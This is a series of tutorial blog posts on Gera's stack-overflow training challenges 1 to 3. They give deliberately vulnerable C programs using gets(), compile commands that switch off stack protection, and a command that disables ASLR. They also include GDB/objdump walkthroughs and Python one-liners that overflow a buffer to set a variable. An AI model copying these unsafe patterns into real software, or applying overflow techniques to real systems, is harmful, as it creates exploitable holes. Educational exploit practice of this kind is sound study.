Gera's Insecure Programming by example: Warming up on the Stack #3

Today's post is going to cover the third Gera exercise of Warming up on the Stack.  This will be similar to the previous post and explore non-printable keyboard characters as input to solve the challenge.  The code below is the stack3.c program:

/* stack3-stdin.c *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main()
{
      int cookie;
      char buf[80];

      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
      gets(buf);

      if(cookie == 0x01020005)
            printf("you win!\n");
}

We can see that it's similar to the previous challenge.  The subtle difference this time is the 0x00 character.  We can see that in the ASCII chart, it's "null".  Let's get this program compiled!

Analysis

Ensure that you have the program code above compiled as shown in the previous post.  Compiled?  Warnings?  Awesome.  Let's move forward.

1.  Open up a Terminal window if you don't already have one open
2.  Browse to the location of stack3 if you aren't already there
3.  Run it:
./stack3

4.  Type in some letters and press Enter:
AAAA

5.  Nope, you win again stack program!  Let's use some Python.
6.  In Terminal, type in and press Enter:

python -c 'print "A" * 80 + "\x05\x00\x02\x01"' | ./stack3

Nice.  Looks like it was a pretty simple one today!  Even with the addition of the "null" character, we're still able to pass the program the key to the challenge.  The fourth and fifth challenges look to add a bit more challenge to the series.  Stay tuned!

Gera's Insecure Programming by example: Warming up on the Stack #2

Welcome, today this post will cover the second Gera challenge.  It looks like the original Gera page is down, but there is a clone of the code here and below.  The first challenge dealt with a simple buffer overflow to solve the challenge.  Let's delve into this challenge and see how we can solve this one.

/* stack2-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020305)
  printf("you win!\n");

}

First look

Let's get our machine up and running and take a look at what is going on.

1.  Open up a new Terminal window
2.  Browse to the location of stack1
3.  Type in:
touch stack2.c

This should create a new file for you of stack2.c.
4.  Open up the file with nano, leafpad, or some editor of your choice.  Copy the C contents above into the file and save it.
5.  Compile the program by typing in:
gcc -fno-stack-protector -z execstack -o stack2 stack2.c

We're moving along, but this was previously covered here.  You'll get some warnings like how dangerous "gets" is, but that's fine for what we need to do.
6.  Run stack2.  Type in:
./stack2

7.  We see a prompt just like the first program.  We'll go ahead and feed it some information.  Type in:
AAAA

The input isn't good enough and exits.

Analysis

In the first challenge, we saw that the program wanted x41424344 as the answer.  When we did the lookup in the ASCII table, we saw that it translated to ABCD.  stack2 wants us to provide 0x01020305 as the answer.

Looking at the table again, it looks like:
- 0x01 is "Start of Heading"
- 0x02 is "Start of Text"
- 0x03 is "End of Text"
- 0x05 is "Enquiry"

From a keyboard input point of view, I'm not sure how I would provide a "Start of Heading" signal/character.  Good thing we covered Python quickly in the previous post!  Interestingly enough, the 0x04 code (End of Transmission) isn't used.  That'd be fun to investigate later.  If we put this through objdump again, we'd see very similar disassembly as stack1.  Let's go ahead and move onto exploiting this program.

Exploitation

We're going to use the same method of exploitation for stack1 to overflow from buf into cookie.

1.  In Terminal, type in:
python -c 'print "A" * 80 + "0x01020305"'

Interesting.  It looks like it's interpreting my hex string as I typed it in.  Let's see if this works.
2.  Type in:
python -c 'print "A" * 80 + "0x01020305"' | ./stack2

Oh.  It didn't appear to do anything.  Sigh.  Maybe we don't need to add the "0x" in front.
3.  Type in:
python -c 'print "A" * 80 + "01020305"' | ./stack2

Hmm.  Interesting.  It still isn't working.  Maybe we need to do it backwards like last time.
4.  Type in:
python -c 'print "A" * 80 + "05030201"' | ./stack2

Nope.  Still not working.  Wait, what was that name with all of those numbers.

Going back to the previous post, we saw that we had to get numbers in the 40s, but had to use capital letters.  We had to enter in "DCBA" which was "D" as a character, but "0x44" in hex.  The "C" was "0x43" in hex.  Referring to the same chart, we see "Start of Heading" is "0x01" in hex.  As mentioned earlier, it's going to be hard to represent "Start of Heading" as a common keyboard character.  We will need to enter in Python a string of hex characters.  We need Python to understand we mean to use the "hex" type and not a string, int or other base types.

Referencing here we can see that we need to use "\xhh" as an escape sequence to represent a hex value.  In our case, we want to get those numbers above to the right hex representation.  We will need to do the "\xhh" format for every character (e.g. 05, 03).

Let's try it out in Python and see how it works out.  In Terminal, type in:
python -c 'print "A" * 80 + "\x05\x03\x02\x01"'

We can see that we get some interesting characters at the end.  Let's see if that's what we need.  In Terminal, type in:
python -c 'print "A" * 80 + "\x05\x03\x02\x01"' | ./stack2

Nice!  It looks like it worked to solve the challenge!  We could stop here, but there's one more thing to consider.  Why did the challenge have us go 0x05030201 and not 0x04030201?  It would seem odd that it would skip a number.

What about that "0x04" character?

Let's write a new version of stack2.c with the change of "0x04" in place of "0x05".  Here's the code with the update of "0x04":

#include <stdio.h>

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020304)
   printf("you win!\n");

}

Let's go ahead and compile this to a useable program as we have done above.  Name the program something unique (e.g. stack24.c).

In a Terminal, type in:
python -c 'print "A" * 80 + "\x04\x03\x02\x01"' | ./stack24

Interesting.  While we had the end of transmission character, we still managed to get our program to execute correctly as well as sending the right string of characters.

Gera's Insecure Programming by example: Warming up on the Stack #1 - Additional info

Welcome back!  I know I said in the last post we would cover the second challenge in the next post.  But, there's still information I want to cover to help with this series and beyond.  I'll cover the rest of the "Warming up on the stack" challenges after this post, but then cover the FireEye FLARE challenges from 2014 and the ones released in July.  This post will help us for the rest of the Gera posts as well as the FLARE posts.

This post will cover:

1.  Quick intro to Python

2.  Ways Python can be used

3.  How we can use Python to solve the first challenge

Quick intro to Python

Why are we going to cover Python?  Unfortunately, PowerShell isn't as ubiquitous in all areas like with *NIX, IDA and so many other places that love Python.  Plus, it's helpful knowing Python as it's pretty handy in many ways.  Remember in the last post how we had to count out all of those A's to get what we needed?  Python would have made that a whole lot easier.  We're still going through manual ways to achieve our goals, but also integrate Python to make it easier and faster to do the same thing.

Here's my short intro on how to learn what we need for Python:  Go here to the free Cybrary Python course.  There's many resources to learn Python on the Internet if you'd like to go somewhere else.  You don't need to get to the packet manipulation portion if you don't want to or other advance topics for this specific post.  It will help you though to develop your skills with Python.

Ways Python can be used

If you went through the material above, you may have seen the ways it can be used.  If not, there's three ways in particular I want to point out.

1. Interactively in it's own "shell".  Fun fact: IDA has a Python shell.

2.  We can also use it as part of a stdin/stdout pipeline.  This would be helpful to quickly do things with Python to pass along to another object in the pipeline like so:

3.  Or we can call Python scripts to do more things for us:

So many ways Python can be used.  Such fun.  Wow.

How we can use Python to solve the first challenge

It wasn't very fun typing out a lot of A's to get our answer.  Normally you would use a scripting language like Python to do that for you.  That's what we're going to do now!  We will do it like the second example above to solve the challenge.  But Brain, if we overflow it with "Hello World", won't that mess up the way we solved it like last time?  Let's recap the previous post.

There were two variables of buf and cookie in the program.  We needed to overflow a value into buf that would overflow into cookie.  To solve it, we had to fill buf with 80 A's and cookie with DBCA (44434241 in ASCII).  In that post, we manually entered inside GDB 80 A's then DCBA (which translated to 0x41424344) to overflow correctly to win.

Let's solve it with Python!

1.  Open up a Terminal window

2.  Browse to where the first challenge is

3.  Let's try some fun examples first.  Type in:

python -c 'print "AAAA"'

The "c" argument to Python tells it to run a command.  Our command is the print function to print out "AAAA".  Now you should see:

I don't want to type out more A's than I need to.

4.  In Terminal, type in:

python -c 'print "A" * 80'

We should now see 80 A's:

5.  Almost there.  Let's see if we can just add "DCBA".  Type in:

python -c 'print "A" * 80 "DCBA"'

Oh.  We should add those two statements together for one string.

6.  in Terminal, type in:

python -c 'print "A" * 80 + "DCBA"'

7.  Let's try it now as input to our program.  In Terminal, type in:

python -c 'print "A" * 80 + "DCBA"' | ./stack1

Win!

So much easier doing it this way than typing everything out!

Gera's Insecure Programming by example review series: Warming up on the Stack #1

Welcome back to my series on the Gera challenges!  We will pick up from the previous post where we got the VM up and ready to go.  This post will cover the first Gera challenge.  Let's look at the challenge by reviewing below the code that is given.

/* stack1-stdin.c                               *

 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {

        int cookie;

        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);

        gets(buf);

        if (cookie == 0x41424344)

                printf("you win!\n");

}




We see the comments about the challenge, the standard C library being included and the start of the main function.  A variable called "cookie" of an integer type is being allocated, but with no assignment.  There is a variable called "buf" as a char type array allocated out to 80.  Next, both variables are then printed out to the screen, but both have a prefix of "&".  In a quick nutshell further explained here, here and here, it will output the memory address of those variables.  The program then does a "gets" to receive user input into the "buf" variable.  Next, it checks the value of the cookie memory address to a pre-defined value and outputs the text in the next line if it is a correct match.  If we look at the comparison in the "if" statement, it may not be readily apparent what 0x41424344 would mean.  If you look at this ASCII chart, you can see it is "ABCD" if you convert the hex values to their corresponding char values.

We can either download all of the examples from here, or copy and paste the code above into a new text document and name it "stack1.c".  Either way, it's helpful to create folder structures in a folder in our home directory (e.g. Downloads) with each section (e.g. Warming up, Adv. Buffer, Format, Signals).  Place the "stack1.c" file into the warming up folder.

For these exercises, it may be easier if we turn off ASLR on the system.  We will turn it back on later, but as we are going through these exercises, it'll be easier to correlate memory addresses across different programs.  To do this, type in Terminal:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Reboot the system to ensure that ASLR is turned off and we won't have any ASLR issues.

Now let's turn that C program into a useable program that we can begin to work with.  In Terminal, browse to the directory that has stack1.c and type:

gcc -fno-stack-protector -z execstack -o stack1 stack1.c

In the name of learning, copying and pasting may help you get through to the next instruction, but let's take a second to quickly cover the command above.  The command "gcc" is the Gnu compiler that'll turn our C program above to a program.  We add in the option of "fno-stack-protector" to help us do our exercise above.  Gcc is getting better and better at helping programmers to not make vulnerable programs as well as relying upon protections offered by various operating systems.  The other option of "-z execstack" helps to make our stack executable.  Let's first see what the program runs like without any tools.  We do this to just get a feel for what a "normal" user session would be like if possible.  Browse to the directory holding the stack1 program we compiled above and run it.

During the program run, we see that the program outputs the memory address of the variables "buf" and "cookie".  On my computer, "buf" has a memory address of 0xbf91d5ec and "cookie" has a memory address of 0xbf91d63c.  If we look at the program above, we see that "cookie" is allocated first and then "buf".  We also see that user input is put into the "buf" variable, but there's no direct user request for the "cookie" variable.  Later in the program, "cookie" is being referenced and compared to that hex value.  There doesn't appear a way we can "get" to there.  If there was only a way to go past "buf" and into "cookie"...

But wait, there is!

We are going to overflow from "buf" into "cookie" to set "cookie" to what we want.  How can we do that though?  Many functions in Linux and Windows don't do proper checks to prevent these kinds of scenarios.  Compilers and other things in the OS try to keep these security vulnerabilities from happening.  You can read more about this scenario here and here (more here).

Let's take a look at the disassembly to see it from another angle with objdump.  It may be easier to see how the "cookie" variable can be influenced as above to get it set to the hex value to get the winning message.  To do this, do the following:
1. Open up a new Terminal
2. Browse to the "stack1" program
3. Type in:
objdump -d ./stack1 -M intel

This will let us see the disassembled program along with a bunch of sections of the program we don't care about right now.  This will also show the program in "Intel" format.

4. Scroll down to the "<main>" function as shown below:

0804847d <main>:

 804847d: 55                            push   ebp

 804847e: 89 e5                 mov    ebp,esp

 8048480: 83 e4 f0              and    esp,0xfffffff0

 8048483: 83 ec 70              sub    esp,0x70

 8048486: 8d 44 24 6c           lea    eax,[esp+0x6c]

 804848a: 89 44 24 08           mov    DWORD PTR [esp+0x8],eax

 804848e: 8d 44 24 1c           lea    eax,[esp+0x1c]

 8048492: 89 44 24 04           mov    DWORD PTR [esp+0x4],eax

 8048496: c7 04 24 60 85 04 08  mov    DWORD PTR [esp],0x8048560

 804849d: e8 8e fe ff ff        call   8048330 <printf@plt>

 80484a2: 8d 44 24 1c           lea    eax,[esp+0x1c]

 80484a6: 89 04 24              mov    DWORD PTR [esp],eax

 80484a9: e8 92 fe ff ff        call   8048340 <gets@plt>

 80484ae: 8b 44 24 6c           mov    eax,DWORD PTR [esp+0x6c]

 80484b2: 3d 44 43 42 41        cmp    eax,0x41424344

 80484b7: 75 0c                 jne    80484c5 <main+0x48>

 80484b9: c7 04 24 78 85 04 08  mov    DWORD PTR [esp],0x8048578

 80484c0: e8 8b fe ff ff               call   8048350 <puts@plt>

 80484c5: c9                                   leave  

 80484c6: c3                                   ret    

 80484c7: 66 90                        xchg   ax,ax

 80484c9: 66 90                        xchg   ax,ax

 80484cb: 66 90                        xchg   ax,ax

 80484cd: 66 90                        xchg   ax,ax

 80484cf: 90                                   nop

Going through the disassembly may help us to better understand the translation from code to the disassembled output above.  At the top, we can see the standard x86 pre-amble followed by the program carving out space for our variables (thru the "sub" opcode).  Functions such as "printf", need arguments to perform their function.  The arguments to the functions need to be placed on the stack.

We can see that there are three arguments in the printf function in the C code above.  The arguments to functions (such as printf) are loaded on the stack from right to left.  In the C code, we see that there's a string, buf and then cookie used as arguments to the function.  Since we're loading from right to left, the first lea (load effective address) sets the memory pointer for the cookie at esp+0x6c into the eax register.  The program then does a mov (moves) which moves the eax register onto the stack at esp+0x8.  The second lea is for buf at esp+0x1c where it moves the pointer to eax and then onto the stack at esp+0x4.  The next mov opcode pushes whatever is at "0x8048560" to the stack.  Later, we can evaluate this address to see the contents.  Finally, the call to printf is made and we see the output of buf, it's memory address, cookie and it's memory address.

Next we see another lea/mov pair before the gets function.  As we can see in the C code above, we get the user's input and place that into the buf variable.  Similarly, we see in the disassembly the same thing were the program loads the effective memory address of buf into eax and then moves that onto the stack.  The call to gets is made and the program places the user's input into the buf variable.
The next set of instructions deal with the "if" comparison in the C code.  The mov instruction places the memory address of cookie into eax.

The cmp (compare) opcode is then called to compare the hex string of 0x41424344 (which is ABCD in ASCII) to eax.  If the cmp opcode does not have an equal match, the next opcode of jne (jump not equal) will jump to the address of 0x80484c5 to terminate the program (e.g. thru leave/ret).  If the values from the cmp opcode are equal, it will go to the mov opcode to push the string pointer at 0x8048578 to the stack as an argument to the puts function.  The puts function gets called and outputs the string passed in as an argument.  Then it goes through the process to exit the program.  

Fun.  Now let's actually exploit it with GDB/PEDA.

Based on what we have seen up to this point, it looks like we should have an opportunity to overflow.  Open up a new Terminal session if you don't have one open already.  

Let's begin!

1.  In Terminal, browse to the directory holding the stack1 program
2.  Type in:
gdb ./stack1

3.  This should launch GDB/PEDA running the stack1 program to be debugged
4.  There will be a lot of words that suddenly fly up (as below), but you should still get the same prompt at the bottom:

GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying"and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
[!] Failed to load 'assemble': 'radare2 Python bindings could not be loaded'
[!] Failed to load 'ropgadget`: "ROPGadget doesn't support Python3 yet"
gef loaded, 'gef help' to start, 'gef config' to configure
28 commands loaded (10 sub-commands), using Python engine 3.4
Reading symbols from ./stack1...(no debugging symbols found)...done.
gdb-peda$

5.  As mentioned earlier, we should have the handy GDB cheatsheet to help us.  Without knowing what we should do, let's go through the program again, but inside GDB.  This will help to break us into GDB with a gentle introduction.
6.  At the prompt, type "run".  This will run the program like as a normal program execution.  Instead of typing out "run", you could have also used "r" as a shortcut.  It'll look like:

gdb-peda$ run
Starting program: /home/andy/Downloads/gera/warm/stack1
buf: bffff09c cookie: bffff0ec

7.  As above, you can see that it looks similar to how we ran it in the Terminal session.  It output the memory addresses and appears to be waiting for a user input value.  Enter in "34" as done previously.

gdb-peda$ run
Starting program: /home/andy/Downloads/gera/warm/stack1
buf: bffff09c cookie: bffff0ec
34
[Inferior 1 (process 3263) exited normally]
gdb-peda$

8.  The program completed normally, but it doesn't really look like GDB looked that much different than running it normally.  Previously, we were able to see the disassembled main function through objdump.  Let's replicate that again, but this time we will go through that line by line and see how those different variables, registers and opcodes work.
9.  There's only one function in this program that we're concerned with and that's the "main" function.  Let's put a breakpoint on that function so the program execution will halt once it hits main.  We could have set a breakpoint on anything else, but we'll keep it simple to start.  In gdb, type:
break main

10.  You should see the below output (toward the bottom):

gdb-peda$ run
Starting program: /home/andy/Downloads/gera/warm/stack1
buf: bffff09c cookie: bffff0ec
34
[Inferior 1 (process 3263) exited normally]
gdb-peda$ break main
Breakpoint 1 at 0x8048480

11.  We can restart the program without closing GDB and re-opening it.  To do that, type in "r" (for run) which will bring you back to a fresh start, but now with our breakpoint at main.

gdb-peda$ break main
Breakpoint 1 at 0x8048480
gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1
[-----------------------------------------------registers-----------------------------------------------]

EAX: 0x1

EBX: 0xb7fbe000 --> 0x1a9da8

ECX: 0x27675960 (b"`Yg'")

EDX: 0xbffff124 --> 0xb7fbe000 --> 0x1a9da8

ESI: 0x0

EDI: 0x0

EBP: 0xbffff0f8 --> 0x0

ESP: 0xbffff0f8 --> 0x0

EIP: 0x8048480 (<main+3>: and    esp,0xfffffff0)

[-------------------------------------------------code--------------------------------------------------]

   0x8048478 <frame_dummy+40>: jmp    0x80483f0 <register_tm_clones>

   0x804847d <main>: push   ebp

   0x804847e <main+1>: mov    ebp,esp

=> 0x8048480 <main+3>: and    esp,0xfffffff0

   0x8048483 <main+6>: sub    esp,0x70

   0x8048486 <main+9>: lea    eax,[esp+0x6c]

   0x804848a <main+13>: mov    DWORD PTR [esp+0x8],eax

   0x804848e <main+17>: lea    eax,[esp+0x1c]

[-------------------------------------------------stack-------------------------------------------------]

00:0000| ebp esp 0xbffff0f8 --> 0x0

01:0004|         0xbffff0fc --> 0xb7e2da83 (<__libc_start_main+243>: mov    DWORD PTR [esp],eax)

02:0008|         0xbffff100 --> 0x1

03:0012|         0xbffff104 --> 0xbffff194 --> 0xbffff356 ("/home/andy/Down"...)

04:0016|         0xbffff108 --> 0xbffff19c --> 0xbffff37c ("XDG_VTNR=7")

05:0020|         0xbffff10c --> 0xb7feccea (<call_init+26>: add    ebx,0x12316)

06:0024|         0xbffff110 --> 0x1

07:0028|         0xbffff114 --> 0xbffff194 --> 0xbffff356 ("/home/andy/Down"...)

[-------------------------------------------------------------------------------------------------------]

Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x08048480 in main ()

gdb-peda$

12.  Now GDB is showing us a lot more than last time!  However, there's a lot of color in GDB/PEDA that isn't translated to this post.  You can see the "Legend" line in your console that will be color coordinated to the corresponding things above it.

13.  There's a lot going on right now, but as you should see in your console and in this output above, we see three "screens".  The first screen is the "registers" section where you can see the registers and their values.  Pretty helpful.  The next screen is the "code" section showing what gdb will execute with the next forward moving debugging instruction (e.g. step into, continue).  The third screen is the "stack" section where we can see the memory stack values.  At this point, we're not really too interested in seeing the value manipulation with the pre-amble, the variable carving nor the printf function.  It's interesting, but you've read a lot of words to get to this point.  Let's get to the gets function and do some work there.  

14.  For now, type in "next" or "n" to advance the code screen past the call to printf.

15.  If you have entered the next command the right amount of times, your window should look like this:

gdb-peda$ n
buf: bffff09c cookie: bffff0ec
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x1f 
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0xb7fbf898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0x8048560 ("buf: %08x cooki"...)
EIP: 0x80484a2 (<main+37>: lea    eax,[esp+0x1c])
[-------------------------------------------------code--------------------------------------------------]
   0x8048492 <main+21>: mov    DWORD PTR [esp+0x4],eax
   0x8048496 <main+25>: mov    DWORD PTR [esp],0x8048560
   0x804849d <main+32>: call   0x8048330 <printf@plt>
=> 0x80484a2 <main+37>: lea    eax,[esp+0x1c]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048560 ("buf: %08x cooki"...)
01:0004|     0xbffff084 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8 
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484a2 in main ()

gdb-peda$ 

16.  I did mention previously that we would see what that 0x8048560 value would be.  You can see that in the ESP register, you see part of that string with a reference to that memory location.  In GDB, type in:

x/4s 0x8048560

The command above is the "examine" command and we're looking at 4 sets of memory chunks in the string format.  The result of the command is below:

gdb-peda$ x/4s 0x8048560
0x8048560: "buf: %08x cooki"...
0x804856f: "e: %08x\n"
0x8048578: "you win!"
0x8048581: ""

We can see that the entire string didn't fit into one memory chunk and spilled over to 0x804856f making it 16 bytes long.  At 0x8048578, you can see another string which is the successful message we get if we overflow buf correctly into cookie.

17.  Scrolling back up, nothing of value is in eax (0x1f).  Let's go forward one instruction and watch the change.  Press "n" in GDB.

gdb-peda$ x/4s 0x8048560
0x8048560: "buf: %08x cooki"...
0x804856f: "e: %08x\n"
0x8048578: "you win!"
0x8048581: ""
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0xb7fbf898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0x8048560 ("buf: %08x cooki"...)
EIP: 0x80484a6 (<main+41>: mov    DWORD PTR [esp],eax)
[-------------------------------------------------code--------------------------------------------------]
   0x8048496 <main+25>: mov    DWORD PTR [esp],0x8048560
   0x804849d <main+32>: call   0x8048330 <printf@plt>
   0x80484a2 <main+37>: lea    eax,[esp+0x1c]
=> 0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048560 ("buf: %08x cooki"...)
01:0004|     0xbffff084 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8 
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028| eax 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484a6 in main ()

gdb-peda$ 

18.  eax looks like a memory address pointing to some kind of test opcode between eax and eax.  Not really concerned about that right now.  We're going to shortly put new information in there.  Press "n" again in gdb to advance past the mov opcode.

19.  Now the pointer should be at gets.  Looking at eax, it looks the same while esp points to the address of eax.  However, the code section has an interesting addition of "arg[0]".  That's a helpful feature to have as a guess at what is being passed as an argument to the upcoming function call.  We can see this below:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0x0
EDX: 0xb7fbf898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
EIP: 0x80484a9 (<main+44>: call   0x8048340 <gets@plt>)
[-------------------------------------------------code--------------------------------------------------]
   0x804849d <main+32>: call   0x8048330 <printf@plt>
   0x80484a2 <main+37>: lea    eax,[esp+0x1c]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
=> 0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
Guessed arguments:
arg[0]: 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
01:0004|     0xbffff084 --> 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0
05:0020|     0xbffff094 --> 0x0
06:0024|     0xbffff098 --> 0xc2
07:0028| eax 0xbffff09c --> 0xb7ea9216 (<handle_intel+102>: test   eax,eax)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484a9 in main ()

gdb-peda$ 

20.  One more detour on the road to the end just to show a bad answer versus the correct answer.  Next, we will continue past the gets function to get a prompt for an input value.  For this answer, we will put in AAAA as our answer and watch it through the program.  With that, enter "n" to trigger the user prompt.  After that, enter in "AAAA" as the response.  It should look like:

gdb-peda$ n
AAAA
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ("AAAA")
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ("AAAA")
EIP: 0x80484ae (<main+49>: mov    eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
   0x80484a2 <main+37>: lea    eax,[esp+0x1c]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004|     0xbffff084 --> 0xbffff09c ("AAAA")
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8 
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028| eax 0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484ae in main ()
gdb-peda$ 

21.  eax is now set to the value we entered which is the buf variable.  The next instruction is to move whatever is at esp+0x6c to eax which will blank out our answer of AAAA.  It's not an ideal situation, but what is at esp+0x6c?  Let's check!  In GDB, type in:

x/4s $esp+0x6c

That'll give us:

gdb-peda$ x/4s $esp+0x6c
0xbffff0ec: ""
0xbffff0ed: "\340\373\267Є\004\b"
0xbffff0f5: ""
0xbffff0f6: ""
gdb-peda$ 

It doesn't look helpful at all.  It doesn't look like anything at all is there.  

22.  Let's take a look at the eax register.  In GDB, type in:

x/4s $eax

That'll give us:

gdb-peda$ x/4s $esp+0x6c
0xbffff0ec: ""
0xbffff0ed: "\340\373\267Є\004\b"
0xbffff0f5: ""
0xbffff0f6: ""
gdb-peda$ x/4s $eax
0xbffff09c: "AAAA"
0xbffff0a1: "\377\377\377\316\360\377\277\370\v\342\267s", <incomplete sequence \344\267>
0xbffff0b0: ""
0xbffff0b1: ""

gdb-peda$ 

Interesting.  We see our data in string format.  What's it look like in hex format?  In GDB, type in:

x/4x $eax

That'll give us:

gdb-peda$ x/4s $eax
0xbffff09c: "AAAA"
0xbffff0a1: "\377\377\377\316\360\377\277\370\v\342\267s", <incomplete sequence \344\267>
0xbffff0b0: ""
0xbffff0b1: ""
gdb-peda$ x/4x $eax
0xbffff09c: 0x41  0x41 0x41 0x41

gdb-peda$ 

That's more interesting.  It looks like if we put them together, it'd be x41414141.  That's pretty close to our end goal.

23.  Let's go ahead and go through the next instruction to move the pointer to eax.  In GDB, type in "n" to get:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xb7fbe000 --> 0x1a9da8 
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ("AAAA")
EIP: 0x80484b2 (<main+53>: cmp    eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
